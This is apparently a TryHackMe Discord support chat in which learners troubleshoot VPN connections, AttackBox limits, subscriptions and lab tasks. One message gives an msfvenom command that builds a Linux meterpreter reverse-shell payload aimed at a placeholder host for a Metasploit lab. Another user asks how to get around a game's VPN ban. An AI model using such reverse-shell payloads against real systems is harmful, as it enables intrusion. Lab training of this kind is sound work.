I just created a new vdi, Settings -> Storage -> Controller SATA -> Adds hard disk -> Create -> VDI : next -> Dyn all -> choose size : create -> Choose it
Lol totally forgot your error message...
You've already tried it too I see
I don't think you increased the size of the hard drive at all, it's still 13GB
I followed these instructions https://www.howtogeek.com/124622/how-to-enlarge-a-virtual-machines-disk-in-virtualbox-or-vmware/
do you have more than one disk in virtualbox? It still says 13GB in your screenshot for the hard drive Kali Linux.vdi (and 10GB RAM for some reason)
not that I know of
did you shut down the VM before you did that?
You need to
- increase the size of the (virtual) hard drive <--- I thought you already did that but your screenshot says you didn't
- Increase the size of the filesystem/LVM <--- won't work right now because step 1 hasn't happened yet
Hey
I have problems connecting via openvpn
Gotta give a bit more info than that, Dan 🙂
can you instead screenshot the whole output?

But I'm using airvpn and it works perfect
It did this problem also whem I tried to connect to surfshark and expressvpn
So the problem is the port?
If you tried to switch vpn server on thm and it didn't help, it's most likely one of the reasons provided in the link.
Ok i'll try another one
Hey everyone - I am a pretty regular user and have not had OpenVPN issues in the past. Right now, I can connect without any issues but constantly lose connection to boxes.
I have re-configured my VPN file and re-connected - issue persists. I'm using the west VIP server.
Is this due to high load or something?
Now I did vpn over vpn (air vpn on host, thm openvpn on machine).
It worked!
So the problem is my country/router/etc, right?
might be a support@tryhackme.com question
Just :x and not ;x
@cosmic tide :x is exit :wq is write and quit
U exiting without saving your changes
ah, no. x supposed to write if buffer is changed...
Maybe check the permissions
pretty sure I did but ill try again
I'll try it again and see if you have another ideas let me know
@gentle gorge The only country that seems to have a lot of challenges connecting is Egypt because OpenVPN is blocked there
Hi Ive been using the attack box but I want to now use my own kali vm. I have downloaded the configuration file and it says connected in the access page. Im doing the complete beginner path and I cant use nmap scans or anything on my vm.
Im just wondering if theres a step im missing cause it works with the attack box
Can you open 10.10.10.10 in your VM`s browser?
No I can not
it wont load
Then you are probably not connected to the thm vpn.
Oh wow ok
https://tryhackme.com/room/openvpn that room will show you how to connect.
Ok thanks

Ive followed all the steps and its the same issue and it looks like its working
I'm not from egypt

Does someone has an idea how to connect to THM openvpn servers with an alternative port?
The router I use blocks port 1194
I'd say there is no way to connect to another port. If OpenVPN is listening on port 1194 you have to connect to this port. Why would your router be blocking it, though?
I don't know, it's not mine actually. I talked with Surfshark because I had simillar problems and they gave me altrrnative ports to connect
The only way I can think of now is to run your own server with OpenVPN. But not in your internal network, but like a rented one. Then you could connect the server with THM VPN and run your own OpenVPN server on the server, listening to a different port. Shouldn't be to hard to setup, but you have to pay the server
openvpn doesn't seem to work with udp/1194 here at all for anyone using a certain isp.
Wow...i would totally change that ISP 😄
I pay for internet so I want to use the internet the way I want, not the way they like...
they're all happy with the ISP otherwise - we just made them switch to TCP, but you need to set up another openvpn server that listens to tcp instead for that.
So my solution would be a solution, but instead of running a server externally you could just use a local pi for example?
Do you happen to know what ISP castrates their customers like that?
no, tryhackme runs the server and they would need to provide one that uses tcp and/or a different port
it's a german ISP, so probably not relevant unless you live there. we're not sure if they're actually blocking it on purpose or if it's some sort of misconfiguration.
But my own server (outside the LAN) would listen to port 1500 on UDP. This traffic should be allowed by the ISP. And because my server itself is a client on THM VPN, all traffic on their machine subnet is forwarded to them, right? Where's my brainfart here?
Ok...I actually live in Germany and if you tell me that the ISP is vodafone, I'm going to give them a call right now, because I am using vodafone 😄
lol
can I PM you?
Sure...go ahead

The coupon worked for me two days ago but yesterday when I went to try it showed up as invalid
I've been having issues with the OpenVPN connection for the past week. Randomly stops connected to the machine - can't ping or anything.
same issue here! I'm trying to subscribe for the annual premium with the coupon but tells that is invalid!
Are you already having the student discount? @empty bear @hot ridge
yes
Then I don't think you can add another discount to it.
I have reached out to hello@tryhackme.com with no response. I had my premium subscription terminated after taking part in the university of new haven webinar
Anyone else have this issue?
Yes, will check again and provide screenshots

Is it normal that an “nmap -A -p-“ scan take more than an hour?
an hour sounds like a long time, but that is a fairly massive scan. if you're looking to scan every single port to see if it's open you might be better off using something quicker like rust scan, and then using nmap to rescan the open ports. But you can start by dropping the "-A" flag - scan every port to find the open ones, then rescan the open ports with "-A" if you need that level of information

Question: What is the registrant postal code for facebook.com?
I tried using whois facebook.com
It gives me a lot of information about them, however, there is no postalcode in there?
I have to give the postalcode but it's not in there. Am I missing something?
iirc you have to look the ip up on some website and it will tell you who it's registered to
Nvm I found it my bad
I looked up in the info I got "postal" instead of "Postal", couldn't find it because of case sensitive
Ah sorry, must've been thinking of something else

Can anything be done to apply my discord token to my current discord account? I had verified with this server using my old and since closed discord account and the same tryhackme account and I see on the tryhackme page for verification that:

My old discord account is closed. Is it possible to remove? I have details about it that I can pass along.

Best to check your confirmation email when you bought the annual subscription. And if this doesn't align with what's displayed on your profile page, try to ctrl + F5. If that doesn't solve it, maybe you reach out to the support via email.
Thanks. I checked my email and the receipt states that it is indeed one year. I will believe the receipt and hope that the portal updates eventually.
I get an error message: (10201)
Hi
I’m having issues selecting my country even after using the time zone link
Any suggestions?
Thanks
What link have you used?
Alright, should be fine, thought you maybe used the old one.
It was one that I got yesterday from thm support. I emailed them back about it not resetting my location
If you look up IP geolocation, does it come back with the country you are in?
Yep
What’s weird is shen i she my cellphone data plan, it allows me actually changes my location via the link. However, it chooses another incorrect location
Mh, maybe try a vpn with a server located in your country and then use the update-timezone link again.
I thought about that, but don’t have an active vpn membership that would allow me to select the region. Any suggestions on a good one to try ?
Use free one like tunnelbear, and nuke it when you done
Thanks
Depends on your country and if free services have a node there
Worst case run a wifi hotspot from your phone. Your mobile data might have better ip for country detection
Hi all, I have a question about subscription. I just acquired annual sub and there is an option to cancel it. Will it cancel only renewal of subscription or whole subscription ?

Hey guys! So I’m having problems connecting to the VPN! I have updated my kali machine. I have try redownloading the config file. Then, I try regenerating the config file and downloading that.

Should I try a fresh kali installation? The error that the VPN gives me will be on a screenshot I will send shortly…..

Is there a link to common problems with rooms? I just started TryHackMe and the second room I'm in does not match the questions. I can't be the first person to experience this.
What room? If you are sure its a bug, report it to #room-bugs
vulnversity - I always assume it's user error first. 😉
What's seems the issues?
There are a couple of questions that cannot be answered in task2. For example, what is the port of the web server. There is WebSockify running on port 80, but that's not the correct answer.
Also, squid is not running, so how do you identify the version?
I've terminated the AttackBox and started a new one, but I get the same results.
I've done a little googling and the AttackBox I am using does not match what others have used.
Can you share the screenshot of your nmap scan?
Sure:
You scanning the wrong IP
Click Start Machine and you should see your target IP
What you scan is the attackbox IP
Ahh, that makes sense. It was complaining that I could not start a new machine when I pressed that button. I thought it meant the AttackBox. My bad.

Sorry if it feels slow for you. It's the first day and we can never truly know how much of /x/y/z we're gonna need

hey mates, im new to this world and ive been looking for some help regarding remote access to the labs from my own testing environment, im not a complete noob, i play with tryhackme/htb/BTLO for a couple of months now, if anyone has some time, how can i have GUI remote access to, for example, tryhackme's windows challenges? because i cant ssh on those
Hey guys, I can connect to a openvpn page with the given flag; but I'd like to have a kali linux machine now running in the browser. How do I achieve that?
It's supposed to work I think
I haven't done this myself (I just go with the browser stuff), but have you tried remmina/RDP?
that's what i was looking for, RDP, i knew i saw it somewhere, thanks a lot
Gave +1 Rep to @sage sierra
well, i knew that already 😅 i was asking about getting a GUI for a windows machine for example from my pc
Yeah, sorry, I realized that after I sent.
The browser based machines are provided by THM. So you just have to start them by pressing the blue "Start attackbox" in one of the rooms. But they are limited to 1 hour per day for non subscribers.
Jr Pentest > Metasploit: Exploitation > Task 6 msfvenom
I think there might be a bug. I've tried several options but none of them work. On my attacking machine I setup the listening port and I get segmetation fault, see screenshot.
I've used the following command to make a '.elf' file:
*msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4545 -f elf > shell.elf
*
I've just seen it thanks @crystal marlin
Gave +1 Rep to @crystal marlin
It connects to my listening port. But after I try to insert a command for example 'id' then it disconnects for some reason (segmentation fault, see screenshot)
Check the payload of your handler/listener. You have to use the same payload there as you used with msfvenom.
the payload through msfvenom or through msfconsole?
msfconsole
So when the right payload is selected in msfconsole, I exit it and then through msfvenom I can create a elf file that connects the payload?
You already got your executable from msfvenom. The payload you use for your handler/listener in msfconsole has to match the payload you used for that executable. So what is deemed as the payload that you used in your msfvenom command?
No idea. I need to see which payload is being used.
I think I might be able to finish it with you've said. Gime a sec
So regarding to what you posted before, linux/x86/meterpreter/reverse_tcp is the payload you used with msfvenom.
The connection is fixed thanks to your help! It was indeed the payload issue!

bot says that somebody is already using the discord token
it could have been an old account but i am not sure
Hi, would someone be able to help me out? I've been trying to ssh into the "nmap" room machine but it is telling me that the connection has timed out.
-I am connected to OpenVPN
-I've used the thm-troubleshoot script
-I've cleared cookies
-I've logged out of every instance (dual boot Linux and Windows and logged out of both OS)
-Room says that it may take up to 10 minutes to start but will still not work after 30 minutes.
You have to reach out to a mod to unlink your token from an old discord acc.
You are not supposed to ssh into the nmap target machine, it's only to perform scans on it.
oh my god, i knew it had to be a simple oversight. lmaoo thanks a bunch
can i just dm them?
I think yes for that matter. But mod, not staff.
I have been having issues with the terminal going unresponsive when ssh'ed into machines for the linux fundamentals. When it occurs I am also unable to ping the tryhackme machines. I can still ping google and addresses outside of tryhackme though. I'm using a Kali VM and OpenVPN.
Is openvpn running directly inside your VM and not on your host machine?
yes, do I need to start the tunnel on the host machine instead of the vm?
No. Check ip address if you only have a tun0 interface and not any extra like tun1, tun2 etc.
I have two interfaces: eth0 and tun0
Alright. Try sudo ifconfig tun0 mtu 1200 and then reconnect to the machine. In case that doesn't solve the issue put the mtu back to 1500
okay will try that. I saw on the subreddit someone suggest changing the mtu of the eth0 interface to 1200. I did that and it didn't help. I bet it needed to be the tun0 interface tho like you are saying.
Changing eth0 won't help because you're not interacting with the machines on eth0. tun0 is your vpn interface, and that's what you interact with the thm machines on.
so far so good! that seems to have helped immensely. Thanks!
hello would anyone be able to help with my openvpn saying it is succesful but then I dont have access to internet
Add a default route pointing out your interface. May be defaulting to the tunnel.
sorry I am very new to this how would I go about doing that?
No access as in can not access internet or just the target machine
Might be the issue with vm network settings
Seems to not access internet
but sometimes it does than I cant access the machines its very confusing
This happen only on your vm, right?
yes
Can you ping random ip
let me try I am going to retart the VM with a bridge connection
Also for the name there is an option called TAP-Windows Adaptor V9 for OPenVPN Connect
I don't know what that means
What's the room you trying to scan with nmap
Can you access 10.10.10.10/whoami in your browser? If it return with IP in the range 10.x.x.x mean you connected
yes
I am connected but I still cannot send requests to the ip i am trying to scan
so when I do nmap -sT 10.10.x.x it does not work but when I do nmap -pN 10.10.x.x it works would anyone know why?
Maybe that machine isn't responding to TCP scans
Yeah I guess but one of the questions was how man ports were shown with TCP scans and the answer is 5 aswell with the attack box it works so super confusing
Hi, I dont know where to put this question, but i try here. In the JR Pentesting -> contentdiscovery room, the link to robots.txt does not work. I have tried to terminate the machine and reboot it, but still wont come up, even with the new machine? It just times out?
i use expressvpn on my windows 10 I believe its affecting my web browsing when i use openvpn, is there a solution or should i just keep using the web based kali-linux machine, I live in Egypt where some vpns are blocked
Little privacy question, Just added some Occupation Details to my About Me, are those public?
I don't think so, on mine at least my name does not show up, but I haven't checked with occupation, but I assume its hidden too.
why can't we edit profile's about section once updated??
Erm when I go to access, I changed regenerated VPN for the sake of it, click download, it says 404
Tryhackme.com/access and then download
Oh switched again to Eu regular 1 and works now..
Hey, is there any global issue with downloading the OpenVPN configuration pack? I'm still getting 404 error when try to visit site with this pack.
Hey Mods,
I am completing the advent calendar but I am not receiving any badges.
May you assist me in the right direction, please 🙂
Hello hello, you haven't recieved the badge/certificate yet because the event isn't over!
Just like how an advent calender works, one task is released each day
so when you get to the end of the event (the last advent/task) then you'll get the badge/certificate
Hey Ben,
I had a look at badges and saw this:
However, it isn't unlocked for me 😦

Hello, can anyone tell me how should i terminate the server ? I mean i have no idea what is this about, i wanted to start another topic/section/module and it stated that i have to terminate the old one
i got completely no idea what to terminate or where
Which server?
i think i have found the terminate button now but. Hwo can i turn on the attack box now ? There is no button to start it again. In previous module i have gracefuly shut it down
10.10.76.73 i think this is the name
You should be able to restart the attack box with the link at the top, if you haven't used up all of your daily time.
there is no link for me to click start. It was there maybe 15 minutes ago in the last module, but there is no in the new one. Not sure how to explain this
he tells me that i am connected to my attackbox , but vnc says :failed to connect
i think this is because i have shutdown the linux machine
i thought after i was done with the module i should just shutdown the linux
but apparently i was not supposed to do that
ahh man.. i just found the icon to terminate it 😉
now i have the icon to start it again
yeah 😉 mystery solved i was afraied i already broke it hehe , thank you
can anyone please help me? i'm trying to connect to the ssh in my kali linux virtual box, but it's not working? i can share screen (it worked for linux part 1 and 2 but not 3....)
Which machine? Which task?
linux fundamentals part 3
Which task?
task 2
Are you using the attack box or your own machine?
my own
Oh, I see you said that already
So you launched the victim box and tried to SSH to it with ssh tryhackme@X.X.X.X?
launching the victim box?
Yeah. On the top-right of that task section there's a green button to launch the victim machine
i restarted my virtual machine, then tried to connect openvpn again, but doesn't seem to work? idk i'm new and i don't understand what's happening
yes
the green one?
Are you able to VPN into the THM network?
no idea what that means :/
That green button
That launches the victim box that you access for the challenge
!docs access
yea i have done that
Dangit
For VPN
at connected theres a red cross
I haven't used the VPN yet, so I'm not sure now. May need an actual staff member to help.
Can you drop a screenshot?
ooooooh it worked ?? i don't really know what i did
do i have to connect via OpenVPN everytime i restart my virtual machine??
Ok. I'm stuck and have been for 2 days now. I'm doing the Network Services room and I'm stuck on Task 4, last question.
So, I've followed all the steps down to the download this file to your local machine... I don't understand what changing the permissions does, like what permissions it's changing. chmod 600 [file] doesn't tell me much of anything and I'm stumped on what to do with the ||RSA Private Key||
chmod 600 resets the permissions of the file so that your root account can execute it.
Ok. So, how does one execute the ||RSA Private Key||?
I think I downloaded the wrong one. Urgh!
Which one did you download?
I lost my machine.,,can someone help me find it?
the not .pub one.
I'm going to go back and download that one and see if I can make it do something.
No, that's the right one
Ok. I'm not sure how to use it then.
So with ||id_rsa||, after changing the permissions, you use it in the SSH command to access the victim box
Oh. Ok. Thanks
If you don't know how to use it, you can run ssh -help to look at available switches and the syntax
Thanks. That's actually super helpful.
No problem
Hello! I am trying to start the attack box and it is telling me that I have already used my hour today. This happened yesterday as well.
Free members are limited to an hour a day for attack boxes. You can either use OpenVPN with your own machine for unlimited access, or subscribe for unlimited attack box time.
I never used my hour. I just got on.
The same thing happened yesterday. I assumed I accidentally clicked or something so I waited a day. Same thing today.
Might be something funky with time zones
Does your question specifically need an admin?
I know that platforms do reduce price for subscription for students.
The thing is not available on the website to select.
How do I get the reduced price without a couple for an year. I want a monthly subscription.
@fiery olive I think so. :)
Register using a .edu email address.
Hm.
If it's not recognizing your edu and still charging the full price, email them at hello@tryhackme.com and let them know, they'll apply the discount retroactively.
Thanks.
No problem
@sacred sparrow Why would the file smb.txt not be where I was supposed to be on the Network Services task 4?
You got into the machine with SSH?
Just me getting 404 when downloading new eu-regular-2 vpn ?
Yes, I finally got in.
This is what I'm seeing
That's the SMB exploit. Once you get there, you have to pull a certain file that'll let you access the machine with a user login.
Which I think you've already done.
Didn't you get ||id_rsa||
Yeah. Did that earlier
OK, you use that with the SSH command and the username to access the system with a user shell.
That's where you'll see the flag.
This isn't the right place?

Finally got it.
Awesome!
And I'm done until the next AoC is released
See ya tomorrow then
How do I reconnect to a machine after it disconnects but its still running. This is via browser.
what do you mean?
the attackbox or the target?
Never mind. I just realized that it was the attach machine that disconnected because it expired. The target still had time because I extended the time.
ok no problem, glad you worked it out 🙂
I've just subscribed to THM (the monthly one) but on my card it says that it costs just 8.98. Is it because mine are euros?
Yes 10$ is approximately 8.8€
so it automatically converts to your currency
okay, thanks! ^^
Hey. My public profile is showing I'm from afghanistan, but I'm brazilian. I've tried to change it but no success

wow. Worked, thank you!
Why is the TryHackMe vpn so unstable?
When I ssh into the machine I get in the Linux basics 2 room it keeps getting frozen, then after a while I can use it again.
sudo killall openvpn, sometimes when you CTRL C a connection it like half-lingers for some reason and interferes with you
if you ifconfig you probably have multiple tun interfaces
that seams to have fixed it,
thanks :)

Hello, Im looking to know more about how an AntiProxy/AntiVpn Works
I have been trying to bypass a ban on a game a few week ago, and I saw that they had a system to block VPN's. So At first I was looking to know how to bypass it. But after 2 weeks I just wanna know how the thing is working, so i can see how we could get over those.
Because It's working so well that I don't even understand the point of a vpn if they can get caught so quickly
On my side, I found that some servers, have a list of blacklisted IP's that they identify as VPN, So i tried a dedicated IP but I still got caught in a few second. So it must be somehting more than blacklist of ips
Ehhhh I don’t think you’re going to find help with that here. We’re (they, I’m not staff) about ethical hacking.

Yeah I know that, i have been reading the rules, but from my POV this is not a bad thing to try to gte more knowledge on the subject
This will harm nobody, but maybe im missing the point, if you fear that someone could use that to harm peoples, I can take it to dms without problems !

Hello, any TryHackMe room I go to, it never loads, does anyone know how to fix this?
Also my internet isn't bad
@lone python mobile or computer? You have the hardware I assume?
I said laptop
Yes. I see.
I see you can access this room, though. What error message do you got?. I have to go offline in a bit.
You are talking about the room page itself?
yes
Are you using a vpn (so not the one provided by THM)?
When I go there it never loads
That's the website page, not the room in discord.
Could you give me an answer to what I asked you?
https://tryhackme.com/room/beginnerpathintro works without vpn
but i am connected
I know you don't have to use the thm vpn for the website. Still I'm asking you if you are using a private vpn?
I'm using the one TryHackMe gave me
Okay, have you tried ctrl + F5 already?
What browser are you using ?
Just did, didn't work
Brave browser
Have you tried a different browser already? Also I don't know if ctrl + F5 works with that one. So maybe try to clear cache in the settings.
My brave works on fedora
I use fedora 34
Do you have add-ons on it that block web pages?
Or you check your security settings in brave
I turned off the adblocker for tryhackme
What's your settings here?
You blocking scripts from run, or cookies?
Try other browser.
Opera for example
Block scripts is off
Block scripts is off
Has to be with your browser settings. Most probably.

Im totaly new to tryhackme and the CTF itself tbh and i do love it this far (only 30% dont in total beginner this far) but i do have a problem. When i renew my machine and the server im attacking with 1h+ it all works well then suddenly it says "your server have been terminated" then if i renewed it 5 min ago. Is there some setting im missing or is there something wrong? Runing Latest Chrome on a windows 11
Are you talking about the attackbox or the target machine? And you are talking about the pop up, right?
is it normal, that some nmap scans takes a loooooong time?
Depends, but I would say yes. You have verbose mode enabled?
-vv ?
Yes
nah but i will try it later 🙂 thanks
Then you at least see some progress to know it's not stuck or something. Also adding -T4 when scanning thm machines might speed up the scan a bit.
right now i use nmap -A -p- -T4 <ip>
Well I would not use -A for an initial scan on all ports rather then only use it on the open ports you have found afterwards, if you really think -A is necessary.
😮 okay
And one last thing, you can even enable verbose mode while the scan is running, by simply pressing v, the more often you press it the higher verbosity gets. Also using -sC -sV rather then -A might be more appropriate if you use it on the open ports you found. Alright, now I'm done. 😄
Oh next time it happends ima check if its the attackbox/kali or the target machine but i think it did happend to both. might be totaly wrong. i gather more info and return with my answer 🙂
Today my two friends gifted me tryhackme two different 1 month voucher codes
So can I use both codes ? On same time
Will it be like 1 month + 1 month and both will be total 2 month
Or I will have to wait until subscription on 1 voucher ends 😕
You have to wait
They don't expire though iirc
Hey I have a question. I purchased a voucher to send to one of my friends. I'm not sure how to get it to him though
Or how he is to use it
Do I just send him the code that was generated?
That too might work 🙂
Hey all, just joined the discord. I am unable to verify as the @sharp bison bot has its DM's off, am I doing something wrong?
I guess I was expecting some sort of mechanism when I ordered the voucher that would send an email or message to the user.
I only know it sends mail and receipt to only buyer
I never tried so I didn't know that much 😕
Check your privacy settings, you probably have disabled to receive DMs from server members.
👍 Cheers, it somehow toggled off for this server and discord wasn't giving a useful error message
Good Morning THM -- didn't know where to post this but for todays AOC challenge, instruction 10.4 tells you to set the attack type is set to "Cluster Bomb" but the attack should be "Sniper".
Just wanted to make sure instructions were updated in case users were having any issues.
Sorry if this is this was the wrong place to post.
#910210693821780018 would be the place for it. The cluster bomb part would be used if you don't know the username and password. But for that task you do know the username.
Ye i just noticed i get the pop up that my machine expired but it still works. same with the machine im attacking 🙂 so just a visual bugg Edit: Noppe i was wrong. now i tried to ftp <ip> to it and its down. so even if i renew the server im trying to attack it closes down.
does refreshing the page reload the images?
No
I tried viewing the image in other tab still it shows server error
oh wait, now that i'm viewing the same room, i can't see the image as well
looks like the original image's gone
this might be a bug you could report over at #room-bugs

@worthy jetty you've installed kali on bare metal?
yes
not the best thing to do.
why ?
and which one i had to install ?
Hello I would have liked to know how to delete a payment method because I changed my card but I paid with paypal when I put my card back on my paypal and when I try to pay it gives me an error code
@worthy jetty it's not really a secure OS to be used on bare metal, you can instead install a VM hypervisor like VMWare over any other daily-use OS like windows and if the kali OS has any vulnerability, your main OS 'should' remain safe.
Also the ease of using kali on VM outweighs the benifits of installing on bare metal, if any.
@naive dust click on your profile picture -> profile -> yearly activity tab
This is misinformation. Kali is not insecure.

I've asked here because no one is answering me anywhere, i was hoping here someone will have my issue and how to fix it 🙂 sorry if its bad but i am 10h trying to fix this and nothing happens and in the same time i don't know what am i doing.. 😦
@eager fulcrum
It's not the appropriate channel.
where can i write for than ? in the general they said that i need to write here...
apologies
Are there any benefits to paying for the in-browser if you've already set it up on a vm?
Being able to deploy it anywhere when you don't have your laptop/desktop computer I'd say
The sub is not only for the in-browser machine. You also get access to the sub only rooms and VIP vpn servers as well as supporting the platform to keep bringing great content 🙂
ohh.. lmao sorry I'm dumb. I thought the kali attacking machine was a separate purchase from the premium membership. I've been subbed for about a month now and all this time I didn't realise I had access to it
Oh okay 😁
Sorry dude.
Attackbox is ubuntu for what it's worth. The THM Kali is Kali.
I recently got myself a ssd caddy,tried to dual boot my win10 with parrot os , so i had my windows in ssd and i installed parrotos to hdd but after installing everytime i am redirected to parrot os on startup.

I can use my parrot os but can't boot to windows , even grub ain't showing me the windows option.
Can someone pls help me?
Ik its not related to tryhackme but any help is appreciated.
Hi ! does the advent calendar not count for hacking streak ? mine have been reset today despite the fact I have validated some questions since several days.
hello, im having an issue starting my attack box to complete day 4. it says i can only use it an hour a day but this is the first time i’m logging on. any help?
I need help on task5 Nmap Basic Port Scans
As far as I know you can also only start it 1 time per day, so if you already started it today, even if it's just 2 minutes, it is exhausted.
I have been completing the day tasks for the past 4 days(Advent of cyber) but I havent been getting the check mark for having completed that task Fixed it after a couple of tries.
2nd issue: Each time I try to download the config files for a region for openvpn (any region) I get sent to a 404 page Worked after three tries today could just be a network issue
Thanks!
hey there i have struggle connecting to the EU VPN Servers.. the OpenVPN Troubleshoot script says Inline Certificate is invaild
can someone help me there ?
have you tried regenerating the ovpn file???
ye 3 times different servers
hmmm weird
I'd probably email support for that one, it had also happened to me
(send images of cute animals, Jabba likes those :))
Hi I have a quick question, are we only allowed to start the attack box once per day?
I needed to restart my box so I just terminated the machine (i have about 30 mins left) but when I attempt to start the machine up again it says I'm only allotted an hour of attack box usage.
ah i fixed my own issue nvm
nope nvm its still not letting me back into my box, wild
The attackbox is limited to 1 use for 1 hour per day for non subscribers.
dang, okie doke thanks!

I don't know guys but It shows me " Uh-oh! Non-subscribed users can only deploy the free AttackBox for 1 hour a day. Subscribe for unlimited access." when i click on start machine even if I came after one day. Is there anybody that can tell me why this is happening?
Who's sitting in TryHackMe s customer support office

I explained him for whole week
Now, after 7 days of explaining he's again asking me to explain

hi! my yearly subscription is expiring mid-december. thinking of switching to month-to-month so don't want it to autorenew. How do I ensure it won't auto-renew?
Just press cancel on the profile page
Hello i hope you're doing great ?
idk if this is the right place to post my question ?
how can i know how much rooms i'm in ?
Click your profile icon, and then My Rooms.
Ty mate
Gave +1 Rep to @latent galleon
Anytime. Have fun!
hmmm... I don't see a cancel option on the profile page
What else you see on your profile page then?
the end date for current subscription, the payment method, and the payment amount
Huh, where you got that link from? Never saw that before.
yeah, it's a little sus. I would imagine the solution is somewhere within the tryhackme.com domain.
Ah ye, just checked my sub email. Seems that's a legit link ^^
I'm trying to verify with the tryhackme bot but it says I'm not on the same server or it won't accept dms
Check your discord privacy settings, you most likely disabled DMs from server members.
ah got it
how to change username on tryhackme?
OK, I'm catching up on day 2 of Advent of cyber and the "Best Festival Company" is not allowing me to create an account

Anyone else having an issue starting a subscription?
None of the buttons on the profile page work to initiate either subscription option.
Anyone having issues with the badges. I lost all my past badges. Is it usual or is it some kind of feature?
I don't know how the badges works I am actually new to this platform 😅
Even if it was intentional, i wouldn't consider it a feature... lol, but no, i haven't seen that issue on my prfile.
I had around 15 badges that's gone and also while doing some rooms I got some badges and the next week it's gone too now I have just 2 left
I think I am loosing badges every week
How to change "About You" ?
The discription part..
Has anyone else noticed that the Kali box does not have ffuf or golang installed by default leading to having to rebuild that each time?
I found some confidential document of THM and not sure if it's intentionally available or by-mistake, so would like to discuss about it, whom should I contact?
Hi,
I have a huge problem, yesterday I downloaded a file and install and I didn’t know it has a virus, it opened cmd like 20 times I directly went to windows security and scanned but the laptop lagged and stopped responding I shutdown the laptop and when I opened it again it was black screen but the caps lock kept blinking after 5 times keep trying it finally opened but sadly all the files like pdf and phots have changed to WNLU file type and I can’t open it and I think the virus is still running cuz the cmd app keep opening and closing
I tried system restore point but it failed
I tried reset but it failed
They left message
I can’t send the msgs cuz it a pic
Can someone help me
My THM Attackbox is hanging firefox
What you trying to do?
Just trying to open the application
It's not able to search for anything, do you think it's got to do with starting the advent calendar machine?
Well I'm still not quite sure what you are trying to do. So you have the attackbox opened, then started firefox inside the attackbox and now you are trying to search for something, like on google, do I understand you correctly?
Screenshots are more helpful then a 1000 words btw 🙂
Correct
I'm not actually trying to search something on google, I'm not even able to connect to a site
Non subscribers have no internet access on the attackbox.
That explains it
Hello I have a problem
I got this error when I was trying to finish this room https://tryhackme.com/room/django
(Task 5)
Hello, I've got two questions about the subscriptions. I'm French and I'd like to purchase one, how it is possible as the website doesn't accept euro payments ? The other question is the following : I'd like to subscribe for month only, can I do that ?
Yes you can
And for euro payments your bank will take in charge the conversion
That's part of the room, to fix that.
why is it taking soo long for attack box to start ?
-793834 🤣
🥴
OK, thanks, and do I have to cancel the payment when the month ends ? In other words, does it renews automatically ?
Gave +1 Rep to @low ridge
Over a month
It does renew automatically if you don't cancel, so yes.
If I used voucher then?
Most probably not with a voucher. But can't tell you for sure.
OK, and how can I cancel the subscription then ?
By just pressing cancel on your profile page.
OK, thanks !
any solution?
Try turning off and on
tried
😖
Ctrl + F5 ?
Does nothing? So it's not refreshing the page?
What browser are you on?
its refreshing
firefox ... i tried it chrome n all ... i thought that it can be the problem with the cache but does not help
seems like problem for their side
Try to terminate and restart a couple of times.
let me try
Question: I'm seeing a lot of IPADDRESS.p.thmlabs.com links in new rooms. Are all VMs on THM exposed like this?
As far as I know, they are not.
So it's only certain boxes which are configured to appear publicly? 🙂
I think so yes, but not sure what it depends on.
noice thanks 🙂
Hi, I got a 7 day streak and now i have access to networks my question is: if i lost the streak do i lose the access so do i have to keep a >= 7 day streak to have access to networks?
P.S. i am a free user
If you join the Wreath room, you'll have access for a certain number of days (10 I believe). Then you can rejoin (start the network from scratch) at any time without a streak.
So i just join the room and then i will have access to networks in that room (with the reset after 10 days) right?

Yep. Also, Wreath is the only network you can access for free. Holo and Throwback are paid.
